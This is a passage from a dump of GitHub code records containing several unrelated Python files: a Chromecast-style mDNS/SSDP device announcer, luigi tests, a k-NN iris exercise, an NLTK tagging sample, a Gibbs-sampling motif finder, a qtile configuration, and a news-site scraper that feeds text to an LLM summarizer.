time\nimport string\nimport uuid\n\nIP = \"0.0.0.0\"\nNAME = 'awesome'\nID = \"Chromecast-{}\".format(NAME)\n\ndef get_local_ip_address():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n try:\n s.connect((\"8.8.8.8\", 80)) \n ip = s.getsockname()[0]\n finally:\n s.close()\n return ip\n\nCAST_IP = get_local_ip_address()\n\nprint(CAST_IP)\n\nimport random\nimport string\n\ndef generate_random_string(length):\n characters = string.ascii_letters + string.digits\n result = ''.join(random.choices(characters, k=length))\n return result\n\nCAST_ID = generate_random_string(32)\nprint(CAST_ID)\n\nuuid = str(uuid.uuid4())\n\n# mDNS\ninfo = ServiceInfo(\n \"_googlecast._tcp.local.\",\n \"{}._googlecast._tcp.local.\".format(ID),\n addresses=[socket.inet_aton(CAST_IP)],\n port=8009,\n properties={\n 'id': 'awesome',\n 'cd': CAST_ID,\n 'rm': '',\n 've': '05',\n 'md': 'Chromecast',\n 'ic': '/setup/icon.png',\n 'fn': NAME,\n 'ca': '4101',\n 'st': '0',\n 'bs': 'FA8FCA843B31',\n 'nf': '1',\n 'rs': '',\n },\n server=\"{}.local.\".format(ID),\n)\n\nzeroconf = Zeroconf()\nzeroconf.register_service(info)\n\n# DIAL\nclass DIALHandler(http.server.SimpleHTTPRequestHandler):\n def do_GET(self):\n print(f\"GET request received at {self.path}\")\n if self.path == \"/setup/eureka_info\":\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n with open('setup/eureka_info', 'r') as file:\n content = file.read()\n content = content.replace(\"DUMMY_IP_ADDRESS\", get_local_ip_address())\n self.wfile.write(content.encode())\n elif self.path == \"/ssdp/device-desc.xml\" :\n self.send_response(200)\n self.send_header('Content-type', 'application/xml')\n self.end_headers()\n with open('ssdp/device-desc.xml', 'r') as file:\n content = file.read()\n content = content.replace(\"DUMMY_IP_ADDRESS\", get_local_ip_address())\n self.wfile.write(content.encode())\n else:\n self.send_response(404)\n self.end_headers()\n\n# SSDP\nclass SSDPServer(socketserver.UDPServer):\n def handle_request(self):\n data, address = self.socket.recvfrom(1024)\n print(f\"Received data from {address}: {data}\")\n if b\"M-SEARCH\" in data:\n response = [\n 'HTTP/1.1 200 OK',\n 'CACHE-CONTROL: max-age=1800',\n 'DATE: ' + time.strftime(\"%a, %d %b %Y %H:%M:%S GMT\", time.gmtime(time.time())),\n 'EXT: ',\n 'LOCATION: http://{}:8008/setup/eureka_info'.format(CAST_IP),\n 'OPT: \"http://schemas.upnp.org/upnp/1/0/\"; ns=01',\n '01-NLS: {}'.format(CAST_ID),\n 'SERVER: Linux/3.14.0 UPnP/1.0 quick_ssdp/1.0',\n 'ST: urn:dial-multiscreen-org:service:dial:1',\n 'USN: uuid:{}'.format(uuid),\n 'BOOTID.UPNP.ORG: 7339',\n 'CONFIGID.UPNP.ORG: 7339',\n '',\n '',\n ]\n self.socket.sendto('\\r\\n'.join(response).encode(), address)\n\nwith socketserver.TCPServer((IP, 8008), DIALHandler) as httpd:\n print(\"serving at port\", 8008)\n ssdp = SSDPServer((IP, 1900), SSDPServer)\n\n httpd_thread = threading.Thread(target=httpd.serve_forever)\n httpd_thread.start()\n\n ssdp_thread = threading.Thread(target=ssdp.serve_forever)\n ssdp_thread.start()\n\n try:\n while True:\n pass\n except KeyboardInterrupt:\n pass\n finally:\n zeroconf.unregister_service(info)\n zeroconf.close()\n httpd.shutdown()\n httpd_thread.join()\n ssdp.shutdown()\n ssdp_thread.join()\n","repo_name":"bitstuffing/pycast","sub_path":"announcer.py","file_name":"announcer.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41359798227","text":"import datetime\nfrom unittest.mock import Mock, patch\n\nimport luigi\n\nimport batch.s3_dataset_scanner.tasks\nfrom batch.s3_dataset_scanner.tasks import ExtractDatasetsFromS3Metadata, ScanS3Objects\n\n\n@patch.object(batch.s3_dataset_scanner.tasks, \"date\", Mock(wraps=datetime.date))\n@patch(\"batch.s3_dataset_scanner.tasks.scan_s3_objects\")\ndef test_scan_s3_objects_run_today(mock_scan_s3_objects):\n batch.s3_dataset_scanner.tasks.date.today.return_value = datetime.date(2020, 1, 1)\n task = ScanS3Objects(datetime.date(2020, 1, 1))\n\n task.run()\n\n assert mock_scan_s3_objects.call_count == 1\n\n\n@patch.object(batch.s3_dataset_scanner.tasks, \"date\", Mock(wraps=datetime.date))\n@patch(\"batch.s3_dataset_scanner.tasks.scan_s3_objects\")\ndef test_scan_s3_objects_run_not_today(mock_scan_s3_objects):\n batch.s3_dataset_scanner.tasks.date.today.return_value = datetime.date(2019, 12, 31)\n task = ScanS3Objects(datetime.date(2020, 1, 1))\n\n task.run()\n\n assert mock_scan_s3_objects.call_count == 0\n\n\ndef test_scan_s3_objects_output():\n task = ScanS3Objects(datetime.date(2020, 1, 1), \"test\")\n output = task.output()\n\n assert isinstance(output, luigi.contrib.s3.S3Target)\n assert (\n output.path\n == \"s3://test-output-bucket/test/raw/red/dataplatform/dataplatform-s3-datasets/test-input-bucket/version=1/year=2020/month=1/day=1/data.parquet.gz\"\n )\n\n\ndef test_extract_datasets_from_s3_metadata_requires():\n task = ExtractDatasetsFromS3Metadata(luigi.date_interval.Month(2020, 1))\n requires = task.requires()\n\n assert len(list(requires)) == 31\n assert all([isinstance(req, ScanS3Objects) for req in requires])\n\n\n@patch(\"batch.s3_dataset_scanner.tasks.extract_datasets_from_s3_metadata\")\ndef test_extract_datasets_from_s3_metadata_run(mock_extract_datasets_from_s3_metadata):\n task = ExtractDatasetsFromS3Metadata(luigi.date_interval.Month(2020, 1))\n\n task.run()\n\n assert mock_extract_datasets_from_s3_metadata.call_count == 31\n","repo_name":"oslokommune/dataplatform-batch-jobs","sub_path":"tests/s3_dataset_scanner/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9110292159","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn import datasets, neighbors\n\n\niris = datasets.load_iris()\n\niris_X = iris.data\niris_y = iris.target\n\nnum_data = len(iris_X)\nprint('numbers of data points: %d' %num_data)\n\nl = len(np.unique(iris_y))\nprint('numbers of classes: %d' %l)\n\nX0 = iris_X[iris_y==0, :]\nX1 = iris_X[iris_y==1, :]\nX2 = iris_X[iris_y==2, :]\n\n\n#print('\\nSample from class 0: \\n',X0[:5, :])\n#print('\\nSample from class 1: \\n',X1[:5, :])\n#print('\\nSample from class 2: \\n',X2[:5, :])\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(iris_X, iris_y, test_size=50)\n\nclf = neighbors.KNeighborsClassifier(n_neighbors=10, p=2, weights='distance')\nclf.fit(X_train, y_train)\ny_pred = clf.predict(X_test)\n\nprint(y_pred)\nprint(y_test)\n\nfrom sklearn.metrics import accuracy_score\nprint(accuracy_score(y_test, y_pred)*100)","repo_name":"hoangpanda/machine-learning-notebook","sub_path":"practice/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25516308947","text":"import nltk\nfrom nltk.corpus import state_union\nfrom nltk.tokenize import PunktSentenceTokenizer\n\ntrain_text = state_union.raw(\"2005-GWBush.txt\")\nsample_text = state_union.raw(\"sample_test.txt\")\n\nfile = open(\"output1.txt\", 'w+')\n\ncustom_sent_tokenizer = PunktSentenceTokenizer(train_text)\n\ntokenized = custom_sent_tokenizer.tokenize(sample_text)\n\n\ndef process_content():\n try:\n for i in tokenized[:5]: #only the initial 5 sentences\n words = nltk.word_tokenize(i) # words me tokenize kia\n #print(words)\n tagged = nltk.pos_tag(words)\n # un words ko tag kia\n print(tagged)\n file.write(str(tagged))\n #print(file)\n except Exception as e:\n print(str(e))\n\n\nprocess_content()\n\n# file2 = file.read(\"output1.txt\", 'w+')\n# file2 = open(\"output1.txt\", 'w+')\n# print(file2)\n\n","repo_name":"Shubu-alfa/nltk_work","sub_path":"sample5.py","file_name":"sample5.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74421328554","text":"from typing import Iterable, Set, List, Tuple\nimport itertools as it\nimport functools\nimport operator\nimport random\nimport multiprocessing\nimport pathos.pools\nfrom utils import sliding_window\nfrom week3 import motifs2profile_laplace, most_probable_kmer, score\n\nPROCESSES = multiprocessing.cpu_count()\n\nProfile = List[Tuple[float, float, float, float]]\nMotifs = List[str]\n\nto_profile = motifs2profile_laplace\n\n\ndef to_motifs(profile: Profile, dna: Iterable[str]) -> Motifs:\n k = len(profile[0])\n return [most_probable_kmer(seq, k, profile) for seq in dna]\n\n\ndef sample_kmer_with_weighted_random(seq: str, k: int, profile: Profile) -> str:\n nuc2idx = dict(zip(\"ACGT\", range(4)))\n assert len(profile) == 4\n assert len(profile[0]) == k\n\n # more likely to choose when a kmer appears multiple times. Is it ok?\n kmers = [\"\".join(cs) for cs in sliding_window(seq, k)]\n probs = []\n for kmer in kmers:\n indices = [nuc2idx[c] for c in kmer]\n iter = (ps[i] for i, ps in zip(indices, zip(*profile)))\n p = functools.reduce(operator.mul, iter)\n probs.append(p)\n\n return random.choices(kmers, weights=probs)[0]\n\n\ndef sample_kmer_with_weighted_random2(seq: str, k: int, profile: Profile) -> str:\n nuc2idx = dict(zip(\"ACGT\", range(4)))\n assert len(profile) == 4\n assert len(profile[0]) == k\n\n # ignore duplicate appearences of kmer in seq\n kmer_prob_map = dict()\n iter = sliding_window(seq, k)\n iter = (\"\".join(cs) for cs in iter)\n for kmer in iter:\n if kmer in kmer_prob_map:\n continue\n indices = [nuc2idx[c] for c in kmer]\n iter = (ps[i] for i, ps in zip(indices, zip(*profile)))\n p = functools.reduce(operator.mul, iter)\n kmer_prob_map[kmer] = p\n\n kmers = list(kmer_prob_map.keys())\n return random.choices(kmers, weights=kmer_prob_map.values())[0]\n\n\ndef _randomized_motif_search_unit(\n dna: Iterable[str], k: int, t: int\n) -> Tuple[int, Motifs]:\n n = len(dna[0])\n motifs = []\n for seq in dna:\n i = random.randrange(0, n - k + 1)\n motif = seq[i : i + k]\n motifs.append(motif)\n best_motifs = motifs\n best_score = 10000000\n\n while True:\n profile = to_profile(motifs)\n motifs = to_motifs(profile, dna)\n if score(motifs) < best_score:\n best_score = score(motifs)\n best_motifs = motifs[:]\n else:\n return best_score, best_motifs\n\n\ndef randomized_motif_search(dna: Iterable[str], k: int, t: int) -> Motifs:\n \"\"\"\n >>> dna = [\"CGCCCCTCTCGGGGGTGTTCAGTAAACGGCCA\", \"GGGCGAGGTATGTGTAAGTGCCAAGGTGCCAG\", \"TAGTACCGAGACCGAAAGAAGTATACAGGCGT\", \"TAGATCAAGTTTCAGGTGCACGTCGGTGAACC\", \"AATCCACCAGCTCCACGTGCAATGTTGGCCTA\"]\n >>> randomized_motif_search(dna, 8, 5)\n ['TCTCGGGG', 'CCAAGGTG', 'TACAGGCG', 'TTCAGGTG', 'TCCACGTG']\n \"\"\"\n attempts = 1000\n with multiprocessing.Pool(PROCESSES) as pool:\n parallel_result = pool.map(\n lambda x: _randomized_motif_search_unit(dna, k, t), range(attempts)\n )\n\n score, motifs = min(parallel_result)\n return score, motifs\n\n\ndef _gibbs_sampler_core(\n dna: Iterable[str], k: int, t: int, repeat: int\n) -> Tuple[int, Motifs]:\n n = len(dna[0])\n motifs = []\n for seq in dna:\n i = random.randint(0, n - k)\n motif = seq[i : i + k]\n motifs.append(motif)\n\n best_motifs = motifs\n for _ in range(repeat):\n idx = random.randrange(0, t)\n rest = [m for i, m in enumerate(motifs) if i != idx]\n profile = to_profile(rest)\n motifs[idx] = sample_kmer_with_weighted_random2(dna[idx], k, profile)\n if score(motifs) < score(best_motifs):\n best_motifs = motifs[:]\n return score(best_motifs), best_motifs\n\n\ndef gibbs_sampler(\n dna: Iterable[str], k: int, t: int, repeat: int\n) -> Tuple[int, Motifs]:\n \"\"\"\n >>> dna = [\"CGCCCCTCTCGGGGGTGTTCAGTAAACGGCCA\", \"GGGCGAGGTATGTGTAAGTGCCAAGGTGCCAG\", \"TAGTACCGAGACCGAAAGAAGTATACAGGCGT\", \"TAGATCAAGTTTCAGGTGCACGTCGGTGAACC\", \"AATCCACCAGCTCCACGTGCAATGTTGGCCTA\"]\n >>> gibbs_sampler(dna, 8, 5, 100)\n ['TCTCGGGG', 'CCAAGGTG', 'TACAGGCG', 'TTCAGGTG', 'TCCACGTG']\n \"\"\"\n attempts = 20\n with pathos.pools.ProcessPool(PROCESSES) as pool:\n parallel_result = pool.map(\n lambda x: _gibbs_sampler_core(dna, k, t, repeat), range(attempts)\n )\n score, motifs = min(parallel_result)\n return score, motifs\n\n\nif __name__ == \"__main__\":\n k, t, repeat = map(int, input().split())\n dna = [input().strip() for _ in range(t)]\n x, motifs = gibbs_sampler(dna, k, t, repeat)\n print(x)\n for motif in motifs:\n print(motif)\n","repo_name":"yamaton/dna-analysis-coursera","sub_path":"1-dna-analysis/week4.py","file_name":"week4.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27759903444","text":"import os\nimport re\nimport socket\nimport subprocess\nfrom typing import List # noqa: F401\nfrom libqtile import layout, bar, widget, hook\nfrom libqtile.config import Click, Drag, Group, Key, Match, Screen, Rule\nfrom libqtile.command import lazy\nfrom libqtile.widget import Spacer\n\nfrom qtile_extras import widget\nfrom qtile_extras.widget.decorations import BorderDecoration\n\n#mod4 or mod = super key\nmod = \"mod4\"\nmod1 = \"alt\"\nmod2 = \"control\"\nhome = os.path.expanduser('~')\n\n\n@lazy.function\ndef window_to_prev_group(qtile):\n if qtile.currentWindow is not None:\n i = qtile.groups.index(qtile.currentGroup)\n qtile.currentWindow.togroup(qtile.groups[i - 1].name)\n\n@lazy.function\ndef window_to_next_group(qtile):\n if qtile.currentWindow is not None:\n i = qtile.groups.index(qtile.currentGroup)\n qtile.currentWindow.togroup(qtile.groups[i + 1].name)\n\nkeys = [\n# Most of the keybindings are in sxhkd file - except these\n Key([mod], \"m\", lazy.window.toggle_fullscreen()),\n Key([mod, \"shift\"], \"c\", lazy.window.kill()),\n Key([mod, \"shift\"], \"r\", lazy.restart()),\n Key([mod], \"n\", lazy.layout.normalize()),\n Key([mod], \"space\", lazy.next_layout()),\n Key([mod], \"k\", lazy.layout.up()),\n Key([mod], \"j\", lazy.layout.down()),\n Key([mod], \"h\", lazy.layout.left()),\n Key([mod], \"l\", lazy.layout.right()),\n Key([mod, \"control\"], \"l\",\n lazy.layout.grow_right(),\n lazy.layout.grow(),\n lazy.layout.increase_ratio(),\n lazy.layout.delete(),\n ),\n Key([mod, \"control\"], \"h\",\n lazy.layout.grow_left(),\n lazy.layout.shrink(),\n lazy.layout.decrease_ratio(),\n lazy.layout.add(),\n ),\n Key([mod, \"control\"], \"k\",\n lazy.layout.grow_up(),\n lazy.layout.grow(),\n lazy.layout.decrease_nmaster(),\n ),\n Key([mod, \"control\"], \"j\",\n lazy.layout.grow_down(),\n lazy.layout.shrink(),\n lazy.layout.increase_nmaster(),\n ),\n Key([mod, \"shift\"], \"f\", lazy.layout.flip()),\n Key([mod, \"mod1\"], \"k\", lazy.layout.flip_up()),\n Key([mod, \"mod1\"], \"j\", lazy.layout.flip_down()),\n Key([mod, \"mod1\"], \"l\", lazy.layout.flip_right()),\n Key([mod, \"mod1\"], \"h\", lazy.layout.flip_left()),\n Key([mod, \"shift\"], \"k\", lazy.layout.shuffle_up()),\n Key([mod, \"shift\"], \"j\", lazy.layout.shuffle_down()),\n Key([mod, \"shift\"], \"h\", lazy.layout.shuffle_left()),\n Key([mod, \"shift\"], \"l\", lazy.layout.shuffle_right()),\n Key([], \"XF86MonBrightnessUp\", lazy.spawn(\"/home/chetj/.config/qtile/scripts/bright.sh Up\")),\n Key([], \"XF86MonBrightnessDown\", lazy.spawn(\"/home/chetj/.config/qtile/scripts/bright.sh Down\")),\n Key([mod, \"shift\"], \"space\", lazy.window.toggle_floating()),\n ]\n\ndef window_to_previous_screen(qtile, switch_group=False, switch_screen=False):\n i = qtile.screens.index(qtile.current_screen)\n if i != 0:\n group = qtile.screens[i - 1].group.name\n qtile.current_window.togroup(group, switch_group=switch_group)\n if switch_screen == True:\n qtile.cmd_to_screen(i - 1)\n\ndef window_to_next_screen(qtile, switch_group=False, switch_screen=False):\n i = qtile.screens.index(qtile.current_screen)\n if i + 1 != len(qtile.screens):\n group = qtile.screens[i + 1].group.name\n qtile.current_window.togroup(group, switch_group=switch_group)\n if switch_screen == True:\n qtile.cmd_to_screen(i + 1)\n\ncatppuccin = {\n \"rosewater\": \"#f5e0dc\",\n \"flamingo\": \"#f2cdcd\",\n \"pink\": \"#f5c2e7\",\n \"mauve\": \"#cba6f7\",\n \"red\": \"#f38ba8\",\n \"maroon\": \"#eba0ac\",\n \"peach\": \"#fab387\",\n \"yellow\": \"#f9e2af\",\n \"green\": \"#a6e3a1\",\n \"teal\": \"#94e2d5\",\n \"sky\": \"#89dceb\",\n \"sapphire\": \"#74c7ec\",\n \"blue\": \"#89b4fa\",\n \"lavender\": \"#b4befe\",\n \"text\": \"#cdd6f4\",\n \"overlay\": \"#6c7086\",\n \"surface\": \"#313244\",\n \"base\": \"#1e1e2e\",\n \"mantle\": \"#181825\",\n }\n\ngroups = []\n\n# FOR QWERTY KEYBOARDS\ngroup_names = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"0\",]\n\n#group_labels = [\"1 \", \"2 \", \"3 \", \"4 \", \"5 \", \"6 \", \"7 \", \"8 \", \"9 \", \"0\",]\ngroup_labels = [\"\", \"\", \"\", \"\", \"\", \"󰸉\", \"\", \"\", \"\", \"󰙯\",]\n#group_labels = [\"Dev\", \"Web\", \"Term\", \"Pac\",]\n\ngroup_layouts = [\"monadtall\", \"monadtall\", \"monadtall\", \"monadtall\", \"monadtall\", \"monadtall\", \"monadtall\", \"monadtall\", \"monadtall\", \"monadtall\",]\n#group_layouts = [\"monadtall\", \"matrix\", \"monadtall\", \"bsp\", \"monadtall\", \"matrix\", \"monadtall\", \"bsp\", \"monadtall\", \"monadtall\",]\n\nfor i in range(len(group_names)):\n groups.append(\n Group(\n name=group_names[i],\n layout=group_layouts[i].lower(),\n label=group_labels[i],\n ))\n\nfor i in groups:\n keys.extend([\n\n#CHANGE WORKSPACES\n Key([mod], i.name, lazy.group[i.name].toscreen()),\n Key([mod], \"Tab\", lazy.screen.next_group()),\n Key([mod, \"shift\" ], \"Tab\", lazy.screen.prev_group()),\n Key([\"mod1\"], \"Tab\", lazy.screen.next_group()),\n Key([\"mod1\", \"shift\"], \"Tab\", lazy.screen.prev_group()),\n\n# MOVE WINDOW TO SELECTED WORKSPACE 1-10 AND STAY ON WORKSPACE\n #Key([mod, \"shift\"], i.name, lazy.window.togroup(i.name)),\n# MOVE WINDOW TO SELECTED WORKSPACE 1-10 AND FOLLOW MOVED WINDOW TO WORKSPACE\n Key([mod, \"shift\"], i.name, lazy.window.togroup(i.name) , lazy.group[i.name].toscreen()),\n ])\n\n\ndef init_layout_theme():\n return {\"margin\":10,\n \"border_width\":3,\n \"border_focus\": catppuccin[\"sapphire\"],\n \"border_normal\": catppuccin[\"lavender\"],\n }\n\nlayout_theme = init_layout_theme()\n\n\nlayouts = [\n layout.MonadTall(**layout_theme),\n layout.Floating(**layout_theme),\n]\n\n# WIDGETS FOR THE BAR\n\ndef init_widgets_defaults():\n return dict(font=\"Noto Sans Bold\",\n fontsize = 10,\n padding = 2,\n background=catppuccin[\"mantle\"])\n\nwidget_defaults = init_widgets_defaults()\n\ndef init_widgets_list():\n prompt = \"{0}@{1}: \".format(os.environ[\"USER\"], socket.gethostname())\n widgets_list = [\n widget.TextBox(\n \"󰣇\",\n font = \"SauceCodePro Nerd Font Mono\",\n fontsize = 34,\n foreground = catppuccin[\"base\"],\n background = catppuccin[\"red\"],\n padding = 5,\n ),\n widget.Sep(\n linewidth = 0,\n padding = 10,\n background = catppuccin[\"mantle\"]\n ),\n widget.GroupBox(\n font = \"SauceCodePro Nerd Font Mono\",\n fontsize = 25,\n margin_y = 3,\n margin_x = 0,\n borderwidth = 3,\n disable_drag = True,\n active = catppuccin[\"lavender\"],\n inactive = catppuccin[\"overlay\"],\n rounded = True,\n spacing = None,\n highlight_method = \"line\",\n this_current_screen_border = catppuccin[\"lavender\"],\n foreground = catppuccin[\"text\"],\n background = catppuccin[\"mantle\"]\n ),\n widget.Sep(\n linewidth = 0,\n padding = 10,\n background = catppuccin[\"mantle\"]\n ),\n widget.TaskList(\n icon_size = 0,\n borderwidth = 1,\n border = catppuccin[\"surface\"],\n foreground = catppuccin[\"text\"],\n background = catppuccin[\"base\"],\n margin = 0,\n padding = 10,\n highlight_method = \"block\",\n title_width_method = \"uniform\",\n urgent_alert_method = \"border\",\n urgent_border = catppuccin[\"red\"],\n rounded = False,\n txt_floating = \"\",\n txt_maximized = \"\",\n txt_minimized = \"\",\n ),\n widget.Sep(\n linewidth = 0,\n padding = 10,\n background = catppuccin[\"mantle\"]\n ),\n widget.Clock(\n foreground = catppuccin[\"red\"],\n background = catppuccin[\"mantle\"],\n format=\"%m-%d-%Y %a (%I:%M %p)\",\n decorations = [\n BorderDecoration(\n colour = catppuccin[\"red\"],\n border_width = [1, 0, 3, 0],\n padding_x = 1,\n padding_y = None,\n )\n ],\n ),\n widget.Sep(\n linewidth = 0,\n padding = 10,\n background = catppuccin[\"mantle\"]\n ),\n widget.Memory(\n update_interval = 2,\n foreground = catppuccin[\"peach\"],\n background = catppuccin[\"mantle\"],\n measure_mem = \"G\",\n format = 'Mem: {MemUsed: .0f}{mm}/{MemTotal: .0f}{mm}',\n decorations = [\n BorderDecoration(\n colour = catppuccin[\"peach\"],\n border_width = [1, 0, 3, 0],\n padding_x = 1,\n padding_y = None,\n )\n ],\n ),\n widget.Sep(\n linewidth = 0,\n padding = 10,\n background = catppuccin[\"mantle\"]\n ),\n widget.CPU(\n update_interval = 2,\n format = \"CPU: {load_percent}% {freq_current}GHz\",\n foreground = catppuccin[\"green\"],\n background = catppuccin[\"mantle\"],\n decorations = [\n BorderDecoration(\n colour = catppuccin[\"green\"],\n border_width = [1, 0, 3, 0],\n padding_x = 1,\n padding_y = None,\n )\n ],\n ),\n widget.Sep(\n linewidth = 0,\n padding = 10,\n background = catppuccin[\"mantle\"]\n ),\n widget.Battery(\n update_interval = 10,\n format = \"{percent:2.0%}\",\n padding = 5,\n foreground = catppuccin[\"sapphire\"],\n background = catppuccin[\"mantle\"],\n decorations = [\n BorderDecoration(\n colour = catppuccin[\"sapphire\"],\n border_width = [1, 0, 3, 0],\n padding_x = 1,\n padding_y = None,\n )\n ],\n ),\n widget.Sep(\n linewidth = 0,\n padding = 10,\n background = catppuccin[\"mantle\"]\n ),\n widget.Systray(\n background = catppuccin[\"mantle\"],\n icon_size=20,\n padding = 3\n ),\n widget.Sep(\n linewidth = 0,\n padding = 5,\n background = catppuccin[\"mantle\"]\n ),\n ]\n return widgets_list\n\nwidgets_list = init_widgets_list()\n\n\ndef init_widgets_screen1():\n widgets_screen1 = init_widgets_list()\n return widgets_screen1\n\nwidgets_screen1 = init_widgets_screen1()\n\n\ndef init_screens():\n return [Screen(top=bar.Bar(widgets=init_widgets_screen1(), size=26, opacity=0.8))]\nscreens = init_screens()\n\n\n# MOUSE CONFIGURATION\nmouse = [\n Drag([mod], \"Button1\", lazy.window.set_position_floating(),\n start=lazy.window.get_position()),\n Drag([mod], \"Button3\", lazy.window.set_size_floating(),\n start=lazy.window.get_size())\n]\n\ndgroups_key_binder = None\ndgroups_app_rules = []\n\nmain = None\n\n@hook.subscribe.startup_once\ndef start_once():\n home = os.path.expanduser('~')\n subprocess.call([home + '/.config/qtile/scripts/autostart.sh'])\n\n@hook.subscribe.startup\ndef start_always():\n # Set the cursor to something sane in X\n subprocess.Popen(['xsetroot', '-cursor_name', 'left_ptr'])\n\n@hook.subscribe.client_new\ndef set_floating(window):\n if (window.window.get_wm_transient_for()\n or window.window.get_wm_type() in floating_types):\n window.floating = True\n\nfloating_types = [\"notification\", \"toolbar\", \"splash\", \"dialog\"]\n\n\nfollow_mouse_focus = True\nbring_front_click = False\ncursor_warp = False\nfloating_layout = layout.Floating(float_rules=[\n # Run the utility of `xprop` to see the wm class and name of an X client.\n *layout.Floating.default_float_rules,\n Match(wm_class='confirmreset'), # gitk\n Match(wm_class='makebranch'), # gitk\n Match(wm_class='maketag'), # gitk\n Match(wm_class='ssh-askpass'), # ssh-askpass\n Match(title='branchdialog'), # gitk\n Match(title='pinentry'), # GPG key password entry\n Match(wm_class='Arcolinux-welcome-app.py'),\n Match(wm_class='Arcolinux-calamares-tool.py'),\n Match(wm_class='confirm'),\n Match(wm_class='dialog'),\n Match(wm_class='download'),\n Match(wm_class='error'),\n Match(wm_class='file_progress'),\n Match(wm_class='notification'),\n Match(wm_class='splash'),\n Match(wm_class='toolbar'),\n Match(wm_class='Arandr'),\n Match(wm_class='feh'),\n Match(wm_class='Galculator'),\n Match(wm_class='archlinux-logout'),\n Match(wm_class='xfce4-terminal'),\n\n], fullscreen_border_width = 0, border_width = 0)\nauto_fullscreen = True\n\nfocus_on_window_activation = \"focus\" # or smart\n\nwmname = \"LG3D\"\n","repo_name":"chetjones003/dotfiles","sub_path":".config/qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":14118,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"8217147510","text":"import os\nimport re\nimport requests\nfrom bs4 import BeautifulSoup\n\nWEBSITE_SYSTEM_MESSAGE = \"你現在非常擅於做資料的整理、總結、歸納、統整,並能專注於細節、且能提出觀點\"\nWEBSITE_MESSAGE_FORMAT = \"\"\"\n 針對這個連結的內容:\n \\\"\\\"\\\"\n {}\n \\\"\\\"\\\"\n\n 請關注幾個點:\n 1. 他的主題為何?\n 2. 他的重點為何?(至少200字)\n 3. 他獨特的觀點為何?(至少200字)\n 4. 關鍵字有哪些?(至少3個)\n \n\n 你需要回傳的格式是:\n - 主題: '...'\n - 重點: '...'\n - 獨特觀點: '...'\n - 關鍵字: '...'\n\"\"\"\n\n\nclass Website:\n def __init__(self) -> None:\n self.headers = {\n 'default':{'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',},\n 'zh-TW':{'Accept-Language':'zh-TW,en-US;q=0.8,en;q=0.5,ja;q=0.3'},\n 'space':'',\n 'None':None,\n }\n self.selectors = {\n 'eprice.com': (\n 'default',\n 'div', {'class': 'user-comment-block'}\n ),\n 'gamer.com.tw': (\n 'default',\n 'div', {'class': 'GN-lbox3B'}\n ),\n 'notebookcheck.net': (\n 'default',\n 'div', {'class': 'ttcl_0 csc-default'}\n ),\n 'mobile01.com': (\n 'default',\n 'div', {'class': 'u-gapNextV--lg'}\n ),\n 'news.ebc': (\n 'default',\n 'div', {'class': 'raw-style'}\n ),\n 'chinatimes.com': (\n 'None',\n 'div', {'class': 'article-body'}\n ), \n 'toy-people.com': (\n 'default',\n 'div', {'class': 'card article article-contents'}\n ),\n 'anandtech.com': (\n 'default',\n 'div', {'class': 'articleContent'}\n ),\n 'bnext.com.tw': (\n 'default',\n 'div',{'class': 'htmlview article-content'}\n ),\n 'judgment.judicial.gov': ('default','div', {'class': 'htmlcontent'}),\n }\n \n def get_url_from_text(self, text: str):\n url_regex = re.compile(r'^https?://\\S+')\n match = re.search(url_regex, text)\n if match:\n return match.group()\n else:\n return None\n\n def get_soup_from_url(self,url: str,headers=None):\n \n # headers = ''\n hotpage = requests.get(url, headers=headers,timeout=10)\n soup = BeautifulSoup(hotpage.text, 'html.parser')\n return soup\n\n\n def get_content_from_url_user_def(self,url: str):\n headers = self.headers\n selectors = self.selectors\n for key, (head,tag, attrs) in selectors.items():\n if key in url:\n soup = self.get_soup_from_url(url,headers=headers[head])\n chunks = [article.text.strip() for article in soup.find_all(tag, **attrs)]\n print(f'selectors:{key}')\n return chunks\n\n return []\n\n def get_content_from_url_common(self,url: str):\n selectors={\n 'default': ('article', {}),\n 'content': ('div', {'class': 'content'}),\n }\n\n soup = self.get_soup_from_url(url) \n for key, (tag, attrs) in selectors.items(): \n chunks = [article.text.strip() for article in soup.find_all(tag, **attrs)]\n if chunks:\n print(f'selectors:{key}')\n return chunks\n \n return chunks \n\n def get_content_from_url(self, url: str):\n chunks = self.get_content_from_url_user_def(url)\n if chunks:\n return chunks\n chunks = self.get_content_from_url_common(url)\n if chunks:\n return chunks\n \n print(f'No support! {url}')\n return chunks\n\n\nclass WebsiteReader:\n\n def __init__(self, model=None, model_engine=None):\n self.system_message = os.getenv(\n 'WEBSITE_SYSTEM_MESSAGE') or WEBSITE_SYSTEM_MESSAGE\n self.message_format = os.getenv(\n 'WEBSITE_MESSAGE_FORMAT') or WEBSITE_MESSAGE_FORMAT\n self.model = model\n self.text_length_limit = 5000\n self.model_engine = model_engine\n\n def send_msg(self, msg):\n return self.model.chat_completions(msg, self.model_engine)\n\n def summarize(self, chunks):\n text = '\\n'.join(chunks)[:self.text_length_limit]\n msgs = [{\n \"role\": \"system\",\n \"content\": self.system_message\n }, {\n \"role\": \"user\",\n \"content\": self.message_format.format(text)\n }]\n return 